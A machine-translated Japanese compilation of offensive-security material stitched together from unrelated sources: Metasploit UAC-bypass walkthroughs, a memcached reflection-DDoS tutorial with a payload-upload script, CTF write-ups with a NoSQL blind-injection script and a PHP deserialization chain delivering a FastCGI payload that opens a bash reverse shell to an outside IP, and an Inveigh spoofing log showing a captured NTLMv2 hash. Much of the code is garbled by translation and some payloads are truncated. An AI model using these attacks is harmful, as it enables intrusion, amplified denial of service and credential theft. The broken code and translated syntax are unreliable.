1。方法1:Windowsの許可アップグレードバイパスUAC保護

このモジュールは、プロセスインジェクションを通じて信頼できるパブリッシャー証明書を使用してWindows UACをバイパスします。 UACフラグを閉じる2番目のシェルが生成されます。

msfuseexploit/windows/local/bypassuac

msfexploitWindows/local/bypassuac)setSession1

msfexploit(Windows/Local/Bypassuac)エクスプロイト

指定されたMeterPreterから、MeterPreterセッション2が開いていることがわかります。これは、次のコマンドがシステムの許可権を決定することです。

GetSystem

getuid

非常に良い、ここではNT Authority \ Systemの許可を取得します。「Shell」コマンドを入力すると、管理者の許可を使用してコマンドプロンプトが表示されます。

1sw1u4zdi5i8167.png

2。方法2:Windows Permissions Enhancement Bypass UAC保護(メモリインジェクション)

このモジュールは、プロセスインジェクションを通じて信頼できるパブリッシャー証明書を使用してWindows UACをバイパスします。 UACフラグを閉じる2番目のシェルが生成されます。一般的なテクノロジーでは、モジュールは反射DLLインジェクションテクノロジーを使用し、3つの個別のバイナリファイルではなく、DLLペイロードバイナリのみを削除します。ただし、正しいアーキテクチャを選択する必要があります(x64はSyswow64システムにも使用されます)。 exe:customが指定されている場合、別のプロセスでペイロードを開始した後、exitprocess()を呼び出す必要があります。

msfuseexploit/windows/local/bypassuac_injection

msfexploit(Windows/local/bypassuac_injection)setSession1

msfexploit(Windows/local/bypassuac_injection)エクスプロイト

指定されたMeterPreterから、MeterPreterセッション2が開いていることがわかります。次のコマンドを入力して、システム許可権を決定します。

GetSystem

getuid

最後に、NT Authority \ Systemの許可を取得し、「シェル」コマンドを入力すると、管理者の権限を使用してコマンドプロンプトが表示されます。

qn42finc3uo8168.png

3。方法3:Windows UAC保護をバイパス(Fodhelperレジストリキーを介して)

このモジュールは、現在のユーザーハイブの下でレジストリの特別なキーをハイジャックすることにより、Windows 10 UACをバイパスし、Windows fodhelper.exeアプリケーションを開始するときに呼び出されるカスタムコマンドを挿入します。 UACフラグを閉じる2番目のシェルが生成されます。このモジュールはレジストリキーを変更しますが、ペイロードを呼び出すとキーをクリアします。このモジュールでは、ペイロードアーキテクチャとオペレーティングシステムのマッチングは必要ありません。 exe:customが指定されている場合、別のプロセスでペイロードを開始した後、exitprocess()を呼び出す必要があります。

msfuseexploit/windows/local/bypassuac_fodhelper

msfexploit(Windows/local/bypassuac_fodhelper)setSession1

msfexploit(Windows/local/bypassuac_fodhelper)エクスプロイト

指定されたMeterPreterから、MeterPreterセッション2が開いていることがわかります。次のコマンドを入力して、システム許可権を決定します。

GetSystem

getuid

非常に良い、ここではNT Authority \ Systemの許可を取得します。「Shell」コマンドを入力すると、管理者の許可を使用してコマンドプロンプトが表示されます。

qfnrcwd5qhd8169.png

4。方法4:Windowsの許可アップグレードバイパスUAC保護(EventVWRレジストリキーを介して)

このモジュールは、現在のユーザーハイブの下でレジストリの特別なキーをハイジャックし、Windowsイベントビューアーを起動するときに呼び出されるカスタムコマンドを挿入することにより、Windows UACをバイパスします。 UACフラグを閉じる2番目のシェルが生成されます。このモジュールはレジストリキーを変更しますが、ペイロードを呼び出すとキーをクリアします。このモジュールでは、ペイロードアーキテクチャとオペレーティングシステムのマッチングは必要ありません。 exe :Customが指定されている場合、別のプロセスでペイロードを開始した後、ExitProcess()を呼び出す必要があります。

msfuseexploit/windows/local/bypassuac_eventvwr

msfexploit(Windows/local/bypassuac_eventvwr)setSession1

msfexploit(Windows/local/bypassuac_eventvwr)エクスプロイト

指定されたMeterPreterから、MeterPreterセッション2が開いていることがわかります。次のコマンドを入力して、システム許可権を決定します。

GetSystem

getuid

再びNT Authority \ Systemの許可を取得します。

byqnd5oqyk08170.png

5。方法5:Windowsの許可アップグレードバイパスUAC保護(comハンドラーを介してハイジャック)

このモジュールは、HKCUハイブにCOMハンドラーレジストリキーを作成することにより、Windows UACをバイパスします。いくつかのより高い整合性レベルプロセスがロードされると、これらのレジストリエントリが参照され、プロセスがユーザー制御DLLをロードします。これらのDLLには、セッション権限の上昇をもたらすペイロードが含まれています。このモジュールはレジストリキーを変更しますが、ペイロードを呼び出すとキーをクリアします。このモジュールでは、オペレーティングシステムに合わせてペイロードアーキテクチャを必要としますが、現在の低主種のメータープレーターセッションアーキテクチャでは異なる場合があります。 exe:カスタムが指定されている場合、別のプロセスでPayloaを開始した後、exitprocess()を呼び出す必要があります。このモジュールは、ターゲット上のCMD.exeを介してターゲットバイナリを呼び出します。したがって、CMD.exeアクセスが制限されている場合、このモジュールは適切に機能しません。

msfuseexploit/windows/local/bypassuac_comhijack

msfexploit(Windows/local/bypassuac_comhijack)setSession1

msfexploit(Windows/local/bypassuac_comhijack)エクスプロイト

指定されたMeterPreterから、MeterPreterセッション2が開いていることがわかります。次のコマンドを入力して、システム許可権を決定します。

GetSystem

getuid

最後に、NT Authority \ System Permissionsを取得し、「シェル」コマンドを再度実行すると、管理者の特権を使用してコマンドプロンプトアクセスを取得するため、MetaSploitを介してExploit Exploitsを活用してUAC保護をバイパスできます。

mkmuoy24mxi8171.png

この反射的なサービス拒否攻撃テクノロジーは、グローバルなインターネット分散MEMCachedサーバーに基づいています。セキュリティ攻撃と防衛知識、ネットワークプロトコルの知識、Pythonコードプログラミングテクノロジーの予備が必要です。この記事の知識を学ぶ前に、関連する基本的な知識を自分で学びたいと思っています。記事の最後には参照リンクがあります。

memcachedシステムについて

Memcachedは、無料でオープンソース、高性能、分散メモリオブジェクトキャッシュシステムです。 Memcachedは、LiveJournalの子会社であるDanga Interactiveの子会社であるBrad Fitzpatricによって最初に開発されたソフトウェアです。 Mixi、Hatna、Facebook、Vox、LiveJournalなどの多くのサービスでWebアプリケーションのスケーラビリティを改善する重要な要素になりました。Memcachedは、任意のデータ(文字列、オブジェクト)の小さなチャンクを保存するために使用されるメモリベースのキー値ストレージです。これらのデータは、データベース呼び出し、API呼び出し、またはページレンダリングの結果です。 Memcachedはシンプルで強力です。そのシンプルな設計は、急速な発展を促進し、開発の難易度を軽減し、大規模なデータキャッシュの多くの問題を解決します。そのAPIは、最も一般的な開発言語と互換性があります。基本的に、それは単純なキー価値ストレージシステムです。使用の一般的な目的は、データベースのクエリ結果をキャッシュし、データベースアクセスの数を減らして、動的Webアプリケーションの速度とスケーラビリティを改善することです。

分布DDOSの原理

分散サービス拒否(DDOS:Distributedサービス拒否)攻撃とは、クライアント/サーバーテクノロジーを使用して複数のコンピューターを1つ以上のターゲットにDDOS攻撃を開始するための攻撃プラットフォームとして団結させ、それにより、サービス攻撃の拒否の力を指数関数的に増加させることを指します。通常、攻撃者は盗まれたアカウントを使用してDDOSマスターをコンピューターにインストールし、設定された時間に、マスターはネットワーク上の多くのコンピューターにインストールされている多数のエージェントと通信します。エージェントは、命令が受信されたときに攻撃を開始します。クライアント/サーバーテクノロジーを使用して、マスタープログラムは数秒で数百または数千のエージェントの実行をアクティブにすることができます。

反射DRDOSの原理について

DRDOSは、英語の「分散反射拒否」の略語です。 DOSやDDOSとは異なり、この方法は、被害者のIPアドレスを含む多数のデータパケットを攻撃ホストに送信することに依存しており、攻撃ホストはIPアドレスソースに多くの応答を行い、サービス攻撃の拒否を形成します。

攻撃プロセス

DDOS攻撃プロセス

この攻撃プロセスを完了するには、少なくとも3つのステップが必要です。

1攻撃者は、多数のブロイラーマシンを手に制御する必要があり、分散分布はインターネット上で配布されます。

2攻撃者は、いつでもプロキシプログラムまたは制御プログラムを通じて、すべてのブロイラーに多数の攻撃指示を送信できます。

3指示を受け取った後、すべてのブロイラーは、被害者のネットワークまたはホストに多数の同時攻撃を同時に行います。

drdos攻撃プロセス

DRDOSは、反射増幅攻撃を完了する必要があります。

1。攻撃者は、すべてのオンラインブロイラーまたは反射サーバーに事前に攻撃データを保存する必要があります。

2攻撃者はIPソースを偽造する必要があります。 IPソースの偽造に多数のリクエストを送信します。もちろん、ここのIPは被害者のIPアドレスです。

3.反射サーバーは、データを反映し、しっかりと安定して実行できる必要があります。より少ないデータを要求し、データの増加を何万回も返すのが最善です。

この方法で絶えず流通することにより、帯域幅ネットワークを大規模に攻撃し、占有率を上げ、ターゲットマシンのハードウェアリソースを消費できます。

memcachedを使用して実装されたDRDOS攻撃反射プロセス

SouthEast

サバイバルマシン

まず、多数の反射サーバーを見つけて、検索エンジンを使用してグローバルに利用可能なオンラインサーバーを発見する必要があります。ここでは、一時的にZoomeyeを使用して収集しています。Shodanなどの他の検索エンジンも使用できます。デフォルトのオープニングポート番号は11211です。ChuangyudeZhong Kui Eye Space Engineを使用して、世界中の538,317マシンを検索して11211ポートを開き、Memcached Cacheサービスシステムを実行しました。ただし、別の使用条件があります。つまり、デフォルトでログインできるマシンを有効にするかどうかをさらに選択して、使用できるようにする必要があります。一部はすでにセキュリティ認証を設定しているため、使用できません。 (ネットワーク全体で50,000を超えるサーバーが公開されましたが、そのうち1,000以上が有効に検証され、利用可能であるため、ここでは発表されません)

SouthEast

通信プロトコル

プロトコルから、Memcacheは同時にTCPとUDPに耳を傾けます。つまり、相互作用とコミュニケーションを同時に開始できる2つのプロトコルをサポートします。これは非常に重要です。 TCPプロトコルとUDPプロトコルの違いを確認できます。 TCPはバイトストリームであるため、パケットの境界はありません。サイズは関係ありません。一度に受信したデータは、送信および受信キャッシュの実装とサイズに依存します。

TCPに制限はありません。TCPパケットヘッダーには「パッケージの長さ」フィールドはありませんが、フレーム分割を処理するためにIPレイヤーに完全に依存しています。

SouthEast

ただし、UDPプロトコルは異なります。接続に基づいてターゲットマシンにデータを直接送信するわけではありません。

SouthEast

この長さのフィールドは2バイトのみを占めることに注意してください。したがって、UDPプロトコルのデータ送信に制限があり、1回の最大送信は2^16=65535=64kbです。

大規模なデータパケットを送信する場合は、TCPプロトコルまたはUDPのみを使用して複数回送信できます。ここでテストしましたが、両方のプロトコルを実装できます。

まとめ:

1。TCPは接続に接続されています(電話をかけるときに最初に接続を確立するためにダイヤルアップする必要がある場合)。 UDPは接続せずに接続されています。つまり、データを送信する前に接続を確立する必要はありません。

2。TCPは信頼できるサービスを提供します。つまり、TCP接続を介して送信されるデータはエラーがなく、失われ、反復的であり、順番に到着します。 UDPは、提供するためにあらゆる努力をしています。つまり、信頼できる配送を保証しません。

3。TCPはバイトストリームに向けられていますが、実際、TCPはデータを一連の構造化されていないバイトストリームと見なしています。 UDPはパケットに向けられています。 UDPには混雑制御がないため、ネットワークの混雑はソースホストの送信率を下げません(IPフォン、リアルタイムビデオ会議などのリアルタイムアプリケーションに役立ちます)。

4.各TCP接続はポイントツーポイントのみです。 UDPは、1対1の、1対1の、多目的で、多くのインタラクティブなコミュニケーションをサポートしています。

5。TCPヘッダーオーバーヘッドは20バイトです。 UDPヘッダーのオーバーヘッドは小さく、わずか8バイトです。

6。TCPの論理通信チャネルは、完全なデュプレックスを備えた信頼性の高いチャネルであり、UDPは信頼できないチャネルです。

さて、これを理解した後、TCPおよびUDPプロトコル通信に基づいてMemcached Cacheシステムの使用方法を見てみましょう。 Memcachedシステムは、1Mの最大キー値の単一データストレージをサポートしているためです。したがって、最大1Mしか保存できません。もちろん、複数のフィールドを作成することもできます。これも拡大します。まず、フローチャートによると、Payloadを事前にリモートサーバーに保存します。ここにデータがあります。 TCPプロトコルを使用して、1Mを一度に送信できますが、UDPを使用する場合は、1Mデータ送信を完了する前に複数回サイクルを送信する必要があります。 UDPの不安定性により、パケットは信頼できるとは限りません。ここでは、送信にTCPを使用することをお勧めします。

データ形式

Memcachedはシンプルで強力です。そのシンプルな設計は、急速な発展を促進し、開発の難易度を軽減し、大規模なデータキャッシュの多くの問題を解決します。そのAPIは、最も一般的な開発言語と互換性があります。基本的に、それは単純なキー価値ストレージシステムです。

使用の一般的な目的は、データベースのクエリ結果をキャッシュし、データベースアクセスの数を減らして、動的Webアプリケーションの速度とスケーラビリティを改善することです。

SouthEast

すべてのコマンドと操作がサポートされています。

memcachedストレージコマンド

memcached setコマンド

memcached addコマンド

memcached交換コマンド

memcached appendコマンド

memcached prependコマンド

Memcached CASコマンド

memcached findコマンド

memcached getコマンド

Memcached Gets Command

memcached deleteコマンド

memcached incr/decrコマンド

memcached Statisticsコマンド

memcached statsコマンド

memcached statsアイテムコマンド

memcached stats slabsコマンド

memcached statsサイズコマンド

memcached flush_allコマンド

ここでは、これらの3つの方法が攻撃プロセスに関与するため、3つのタイプのコマンドに焦点を当てます。

1つ目は、ペイロードmemcached setコマンドをアップロードすることです

MEMCached SETコマンドは、指定されたキーに値を保存するために使用されます。

セットのキーが既に存在する場合、コマンドはキーに対応する元のデータを更新できます。これは、更新機能を実現することです。

セットコマンドの基本的な構文形式は次のとおりです。

キーフラグを設定しますexptimeバイト[noreply]

価値

パラメーターは次のとおりです。

キー:キャッシュ値を見つけるために使用されるキー価値構造のキー。

フラグ:キー価値ペアの整数パラメーターを含めることができます。これは、クライアントがキー価値ペアに関する追加情報を保存するために使用することができます。

exptime:キャッシュでキー価値ペアを保存する時間の長さ(秒単位では、0は永遠に意味があります)

バイト:キャッシュに保存されているバイト数

noreply(オプション):このパラメーターは、データが不要であることをサーバーに伝えます

値:保存された値(常に2行目)(キー価値構造の値として直接理解できます)

SouthEast

2番目の反射ペイロードMemcached Getコマンド

memcached getコマンドは、キーに保存されている値(データ値)を取得し、キーが存在しない場合は空に戻ります。

GETコマンドの基本的な構文形式は次のとおりです。

キーを取得します

次の:のように、複数のキーがスペースで区切られています

key1 key2 key3を取得します

パラメーターは次のとおりです。

キー:キャッシュ値を見つけるために使用されるキー価値構造のキー。

SouthEast

3番目は、リモートサーバーを終了することです。 Quit \ r \ nコマンドで十分であり、パラメーターがなければ、キャリッジの戻りとラインブレイクを注意してください。

SouthEast

攻撃手順

ペイロードの自動アップロード

ここでは、次のステップは、このプロセスを使用してDRDOSリフレクションのサービス攻撃の拒否を実装する方法です。

アイデアは次のとおりです。最初に指定されたデータをMemcachedのリモートオープンサーバーにバッチアップロードし、次にMemcachedサーバーに移動して、データの前のステップに保存されているデータをクエリを要求します。 (このステップは非常に重要です。UDPプロトコルを使用してそれを反映することしかできず、その理由を説明しましょう。)このようにして、データはMemcachedサーバーを介してターゲット被害者マシンに反映できます。ここでは、リモートサーバーへのバッチ自動アップロードのペイロードを実現するプログラムを手動で作成できます。アップロードが完了した後、UDP反射攻撃を実行できます。

ここでは、Pythonスクリプトを使用して、ペイロードデータのアップロードを完了します。

# - * - coding: utf-8-* -

'' '

2018.02.06に作成されました

@Author: 5T4RK

'' '

#!/usr/bin/python

ランダムをインポートします

sysをインポートします

ソケットをインポートします

socket_timeout=10.0

bulets_size=10 * 1000

def reload_zombies_list(zombies_server_path):

try:

Global Zombies_list

if(len(zombies_server_path)1):

戻る ''

f:としてOpen(zombies_server_path)を使用します

zombies_list=f.readlines()

zombies_listを返します

例外を除き、E:

e.messageを印刷します

def random_int_char(i):

try:

temp=random.randint(0、2)

temp==0:の場合

return '%c'%(random.randint(0、9) +0x30)

Elif temp==1:

return '%c'%(random.randint(0、25) +0x41)

その他:

return '%c'%(random.randint(0、25) +0x61)

例外を除き、E:

e.messageを印刷します

def prepare_random_data(size_bytes、times):

try:

印刷'[ランダムデータ:%8d回]'%(時間+ 1)

remote_data=''

範囲(0、size_bytes):のiの場合

remote_data=remote_data +(random_int_char(i))

Remote_data.upper()を返します

例外を除き、E:

e.messageを印刷します

def tcp_weapon_function(mem_address、mem_port、data、reload_counts):

if(mem_addressではない):

falseを返します

if(len(data)1):

falseを返します

else:

try:

mem_address=mem_address.strip( '\ n')

mem_address=mem_address.strip( '\ r \ n')

mem_address=mem_address.strip()

server_address=(mem_address、mem_port)

# 送信

client=socket.socket(socket.af_inet、socket.sock_stream)

client.settimeout(socket_timeout)

client.connect(server_address)

print '[現在のnum:%8d Zombie]'%reload_counts

印刷'[Size:%8Dバイトの送信] \ t'%len(data)、 '[アドレス: \ t%14S]'%mem_address

reload_counts=reload_counts + 1

# 送信

count=client.send(data)

カウント1:の場合

result=client.recv(1024)

結果ではない場合:

印刷「[応答なし] '

falseを返します

result=result.rstrip( '\ n')

result=result.rstrip( '\ r \ n')

print '[sended size:%8dバイト] \ t'%count、 '[receed: \ t%14s]'%result

# やめる

count=client.send( 'quit \ r \ n')

カウント1:の場合

print '[sended size:%8dバイト] \ t'%count '[receed: \ t quit success]'

client.close()

例外を除き、E:

印刷'[エラー:'、e.message、 ']'

client.close()

trueを返します

__name__=='__main __' :の場合

zombies_list=[]

current_index=0

コマンド=0

Len(Sys.Argv)==5:の場合

path=sys.argv [1]

command=int(sys.argv [2])

bulets_size=int(sys.argv [3])

socket_timeout=float(sys.argv [4])

reload_zombies_list(パス)

Elif Len(Sys.Argv)==3:

path=sys.argv [1]

command=int(sys.argv [2])

reload_zombies_list(パス)

else:

印刷'example: \ t'

印刷'\ tweapon.py server.txt 1 byte_sizeタイムアウト'

印刷'\ tweapon.py server.txt 2'

印刷'\ tcommand 1 ddos memcache set'

印刷'\ tcommand 2 ddos memcache delete'

印刷「\ tcommand 3 ddosペイロードサイズ」

印刷「\ tcommand 4 ddosタイムアウト(秒)」

出口()

Current_index len(zombies_list):

try:

command==1:の場合

random_value=prepare_random_data(bulets_size、current_index)

action_data='set anvzdgf0zxn0 0 0%d \ r \ n'%len(random_value) + random_value + '\ r \ n'

tcp_weapon_function(zombies_list [current_index]、11211、action_data、current_index)

elif command==2:

action_data='delete anvzdgf0zxn0 \ r \ n'

tcp_weapon_function(zombies_list [current_index]、11211、action_data、current_index)

else:

「エラーコマンド」を印刷する

action_data=''

keyboardinterrupt、e:を除く

印刷'[エラー:スクリプトが停止した[ctrl + c] .]'

この質問のためのWeb

1.チェックイン

ソリューション。ソースコードによると、ソースコードはNOSQL注入である必要があります。分析したペイロード:username='|| 1){returntrue;}})//password=123456ブラインドベッティングはadmin/54a83850073b0f4c6862d5a1d48ea84fimporttimeです

ImportRequests

重要なもの

session=requests.session()

chars=string.printable

パスワード=''

burp0_url='http://d8304b2c-689b-4b9f-844a-1c3358bb57de.node4.buuoj.cn:81/login'

burp0_headers={'cache-control':'max-age=0'、 'ovirion ':'http://d8304b2c-689b-4b9f-8 44A-1C3358BB57DE.NODE4.BUUOJ.CN:81 '、' Upgrade-Insecure-Requests':'1 '、' dnt': '' 1 '、' content-type':'application/x-www-form-urlencoded '、' user-agent':'mozilla/5.0(windowsnt10.0; win64; x64)applewebkit/537.36(khtml、khtml)chrome/95.0.4638.69saf 537.36 '、' 'Accept'3:'text/html、application/xhtml+xml+xml、application/xml; q=0.9、image/avif、image/webp、image/apng、*/*; q=0.8、アプリケーション/署名exchange; v=b3; q=0.9'、 '参照'3360 'http://D8304B2C-689B-4B9F-844A-1C3358BB57DE.NODE4.BUUOJ.CN:81/LOGIN'、 'Accept-Encodi ng':'gzip、deflate '、' accept-language':'zh-cn、zh; q=0.9 '、' connection ':'close '}

burp0_data={'username':' '|| this.password [0]!=' a '){returntrue;}})//'、 'password':'test'}

forxinrange(0,100):

foryinchars:

burp0_data ['username']='' || this.password ['+str(x)+']==''+y+''){returntrue;}})//'

応答=session.post(burp0_url、headers=burp0_headers、data=burp0_data)

#print(respons.text)

if'successuctionly'inresponse.text:

パスワード+=y

印刷(パスワード)

壊す

Time.sleep(0.06)

#username3360admin

#PWD:54A83850073B0F4C6862D5A1D48EA84F/WGET?1049983-20211222172109607-910227145.jpgFLAG {67317C21-32F6-42C2-B04B-8B328A5F33AE}

2.eaaasyphp

ローカルシェルを書き込みます

?phpclass check {public static $ str1=false; public static $ str2=false;} class esle {public function __wakeup(){check:3360 $ str1=true; }} class hint {public function __wakeup(){$ this-hint='no hint'; } public function __destruct(){if(!$ this-hint){$ this-hint='phpinfo'; ($ this-hint)(); }}} class bunny {public $ filename; public function __toString(){echo 'toString'; if(check: $ str2){if(!$ this-data){$ this-data=$ _request ['data']; } file_put_contents($ this-filename、$ this-data); } else {throw new error( 'error'); }}} class welcome {public $ bbb; public function __invoke(){check: $ str2=true; 「ようこそ」を返します。 $このユーザー名; }} class bypass {public $ aaa; public $ str4; public function __destruct(){if(check3360: $ str1){($ this-str4)(); } else {throw new error( 'error'); }}} $ check=new check(); $ esle=new esle(); $ a=new bypass(); $ b=new welcome(); $ c=new bunny(); $ c-filename='shell.txt'; $ c-data='111111'; $ b-username=$ c; $ bbbb=$ check; $ a-aaa=$ $ $ $ $ b; echo serialize($ a);

1049983-20211222172110321-1665760604.jpg

しかし、リモートでは利用できません

o%3a6%3a'bypass '%3a2%3a%7bs%3a3%3a'aaa'%3bo%3a4%3a'esle '%3a0%3a%7b%7ds%3a4%3a'str4'%3bs%3a7%3a'phpinfo '%3b%7d

1049983-20211222172110914-803848233.jpg

後で問題環境がシェルを書き込むことができないことがわかったので、file_put_contentsを使用してphp-fpmを攻撃することを検討しました

次に、VPSで次のスクリプトを実行して、悪意のあるFTPサーバーを構築します。

#vily_ftp.py

ソケットをインポートします

s=socket.socket(socket.af_inet、socket.sock_stream)

S.Bind(( '0.0.0.0'、23))

S.Listen(1)

conn、addr=s.accept()

conn.send(b'220歓迎\ n ')

#Service新しいユーザーの準備ができました。

#Client Anonymousユーザー名を送信します

#user匿名

conn.send(b'331パスワードを指定してください。\ n ')

#USER名OK、パスワードが必要です。

#client匿名パスワードを送信します。

#Pass Anonymous

conn.send(b'230ログイン成功。\ n ')

#userログインして、続行します。必要に応じてログアウトします。

#type i

conn.send(b'200バイナリモードへの切り替え。\ n ')

#サイズ /

conn.send(b'550はファイルサイズを取得できませんでした。\ n ')

#epsv(1)

conn.send(b'150 ok \ n ')

#pasv

conn.send(b'227拡張パッシブモード(127,0,0,1,0,9000)\ n ')#stor /(2)の入力

conn.send(b'150許可が拒否されました。\ n ')

#やめる

conn.send(b'221さようなら。\ n ')

conn.close()

Gopherusを使用して、リバウンドシェルのペイロードを生成します

1049983-20211222172111386-1414290412.jpg

%01%01%00%01%00%08%00%00%01%00%00%00%00%00%01%04%00%01%01%05%05%00%0f%10Serv er_softwarego%20/%20fcgiclient%20%0b%09Remote_addr127.0.0.1%0f%08Server_Proto colhttp/1.1%0E%03Content_Length106%0E%04Request_MethodPost%09KPHP_VALUEALLOW_URL_INCLUDE%20%3D%20ON% P%3a //入力%0f%17Script_fileName/var/www/html/index.php%01document_root/%00% 00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%01%00J%04%00%3c%3fphp%20System%28%2 7Bash%20-C%20%22Bash%20-I%20%3E%26%20/dev/TCP/116.62.104.172/2333%200%3E%261%22 %27%29%3bdie%28%27 ---- Made-by-Spyd3r ---%0a%27%29%3b%3e%3e%00%00%00%00%00POC3360

?php

クラスチェック{

public static $ str1=false;

public static $ str2=false;

}

クラスesle {

パブリック機能__wakeup()

{

Check: $ str1=true;

}

}

クラスヒント{

public function __wakeup(){

$ this-hint='no hint';

}

パブリック関数__destruct(){

if(!$ this-hint){

$ this-hint='phpinfo';

($ this-hint)();

}

}

}

クラスバニー{

public $ filename;

パブリック機能__toString()

{

echo 'tostring';

if(check: $ str2){

if(!$ this-data){

$ this-data=$ _request ['data'];

}

file_put_contents($ this-filename、$ this-data);

} それ以外{

新しいエラー( 'エラー')をスローします。

}

}

}

クラスのようこそ{

公開$ bbb;

パブリック機能__invoke()

{

check: $ str2=true;

「ようこそ」を返します。 $このユーザー名;

}

}

クラスバイパス{

public $ aaa;

public $ str4;

パブリック関数__Destruct()

{

if(check: $ str1){

($ this-str4)();

} それ以外{

新しいエラー( 'エラー')をスローします。

}

}

}

$ check=new Check();

$ esle=new esle();

$ a=new bypass();

$ b=new welcome();

$ c=new Bunny();

$ c-filename='ftp: //aaa@vps/123';

$ c-data=urldecode( '%01%01%00%01%00%08%08%00%01%00%00%00%00%00%01%04%00%01%01%05%05% 00%0F%10SERVER_SOFTWARGO%20/%20FCGICLIENT%20%0B%09REMOTE_ADDR127.0.1%0F%0 8SERVER_PROTOCOLHTTP/1.1%0E%03Content_Length106%0E%04Request_MethodPost%09KPHP_VALUEALLOW_URL_INCLUDE%20%3D%20ON%0ADISABLE_FUNCTIONS%20%20%3D% ILE%20%3D%20php%3a //入力%0f%17Script_fileName/var/www/html/index.php%0d%01docu MENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00J%04%00%3C%3FPH P%20System%28%27Bash%20-C%20%22Bash%20-I%20%3E%26%20/dev/tcp/vps/2333%200%3e%261%22%27%29%3bie%28%27---- Made-by-spyd3r -----%0a%27%3b%3f%3e%00%00%00%00%00%00%

$ b-username=$ c;

$ bbbb=$ check;

$ a-aaa=$ esle;

$ a-str4=$ b;

echo urlencode(serialize($ a));

Pythonスクリプトを実行します

1049983-20211222172111885-2065133396.jpg

ポート2333を聴き、ペイロードを送信し、シェルを取得します

?code=o%3a6%3a%22bypass%22%3a2%3a%7bs% E%22%3a2%3a%7bs%3a3%3a%22bbb%22%3bo%3a5%3a%22check%22%3a0%3a%7b%7ds%3a8%3a%22username %3a%22FILENAME%22%3bs%3a31%3a%22ftp%3a%2fc 2FAAA%40116.62.104.172%3A23%2F123%22% %00%08%00%00%00%01%00%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F% 1%0f%08Server_Protocolhttp%2F1.1%0E%03Content_Length106%0E%04Request_MethodPost%09KPHP_VALUEALLOW_URL_INCLUDE+%3D+on%0ADISABL E_FUNCTIONS+%3D+%0AAUTO_PREPNED_FILE+%3D+PHP%3A%2F%2FINPUT%0F%0F%根%2f%00%00%00%00%00%00%00%01%04%00%01%00%00%00%01%05%01%00J%04%00%3C% FTCP%2F116.62.104.172%2F2333+0%3E%261%22%27%29%3BDIE%28%28%27 ---- MADE-BY-SPYD3R ----%0A%27%29%3B%3F%3E%00%00%00%

1049983-20211222172112285-422471917.jpg

3.magicmail

注入点

この質問は非常に興味深いです。ゲームの後、公式のWPに従って複製されます。まず、SMTPサービスと対応するポートでIPを入力する必要があります。これにより、独自のVPS Python3 -M SMTPD -C DebuggingServer -N 0.0.0.0:66667でSMTPサービスを開始できます。

次に、電子メールのコンテンツに電子メール1049983-20211222172113072-2021108038.pngを送信できる関数があり、テンプレートインジェクションテスト入力{{7*7}} 1049983-20211222172113453-1084769112.jpg Base64 Base64が受信した文字列をデコードし、SSTI

1049983-20211222172113765-2117252222.jpg

3360010101010101010101010101010101010101010があります。テストでは、キー文字列「Mro」、「Mro」、「ベース」、「セッション」、「セッション」、「+」、「追加」、「add」、「u '、」、「ord」、' redirect '、' url_for '、' config ''、 'buttins'、 '' '' '' flusededeage '' '' 'form' submess '' 'submess' 'submess' submess 'は「ヘッダー」、 '['、 ']'、 '\'、 ''、 '_'someケース、エラーがエコーされます。このエコーに関しては、クラスのメソッドコールに問題があること、つまりクラスがメソッド呼び出しをサポートしていないので、エラーを返します(より良い理解がある場合は、コメント領域でそれを指摘してください){'' .__ sive __.__ベース__.__サブクラス__()}}

名前解像度プロトコルで欠陥を使用したイントラネット浸透は、中間(MITM)攻撃を実行するための一般的な手法です。 2つの特に脆弱な名前解像度プロトコル、Link-Native Multicast Name Resolution(LLMNR)とNetBios Name Service(NBNS)があります。攻撃者は、これらの2つのプロトコルを活用して、DNSなどのより高い優先度の解像度方法では回答できないリクエストに応答できます。 LLMNRおよびNBNSは、Active Directory(AD)環境でデフォルトで有効になります。これにより、このタイプのスプーフィング攻撃は非常に効果的な方法になり、ドメインへの初期アクセスを取得するだけでなく、脆弱性の後期搾取中のドメイン許可を強化します。この攻撃技術をイントラネット浸透シナリオで使用するために、PowerShellベースのLLMNR/NBNSスプーフィングツールであるInveighツールを開発しました。

psc: \ users \ kevin \ desktop \ inveighinvoke-inveigh-consoleoutputy

[*] inveigh1.4devstartedat2018-07-05t22:29336035

[+] ElevatedPrivileGeMode=enabled

[+] PrimaryPaddress=192.168.125.100

[+] llmnr/nbns/mdns/dnsspooferipaddress=192.168.125.100

[+] llmnrspoofer=enabled

[+] nbnsspoofer=enabled

[+] smbcapture=enabled

[+] httpcapture=enabled

[+] httpscapture=disabled

[+] http/httpsauthentication=ntlm

[+] wpadauthentication=ntlm

[+] WPADDEFAULTRESPONSE=ENABLED

[+] realtimeConsoleOutput=enabled

警告: [!] runstop-inveightestopoptop

[*] PressanyKeyTostostoprealTimeConsoleOutput

[+] [2018-07-05T222:29:53] llmnrrequestforbadrequestreceivedfrom192.168.125.102 [応答]

[+] [2018-07-05T22:29:53] smbntlmv2challenge/responsecaptured from192.168.125.102(Inveigh-WKS2):

Testuser1:3360INVEIGH:3E834C6F9FC3CA5B:CBD38F1537AAD7D39CE6A5BC5687373A:0101 00000000000000000071ADB439D114D401D5B48AB8C3EC8E010000000000002000E0049004E005600450049004700480 00100180049004E00560045004900470048002D0057004B00530031000400160069006E0076006500690067006 8002E006E00650074000300049006E00760065006900670068002D0057004B00531002E0069006E00760 065006900670068002E006E00650074000500160069006E00760065006900670068002E006E006500740007000 80071ADB438D114D4010600040002000000080030003000000000000000000000002000004FC481EC79C5F6B B2B29A2C828A02EC028C9FF563BE5D9597D51FD6DF29DC8BD0A001000000000000000000000000000000000000 9001E0063006900660073002F00620061006400720065007100750065007300740000000000000000000000000000

Inveighの開発プロセス全体で、ドメイン環境で多くの実験を実施し、さまざまなレベルの許可の観点から、LLMNR/NBNSスプーフィング攻撃プロセスを詳細に研究しました。 Inveighの更新の多くは、実際に他の特権ベースの使用機能を実装しようとしています。

最近、Inveigh以外のいくつかの研究作業は、私の心に困難な問題を引き起こしています。既にドメインへの非主要なアクセスがある場合、LLMNR/NBNSスプーフィングを行うのに最良の方法ですか、それとも名前解像度ベースのMITM攻撃を実行することもできますか?この質問に対する答えを得るために、私は疑わしいADロール構成を常に研究しています。これにより、質問に対する答えを見つけるためのインスピレーションを与えてくれました。

名前解決順序

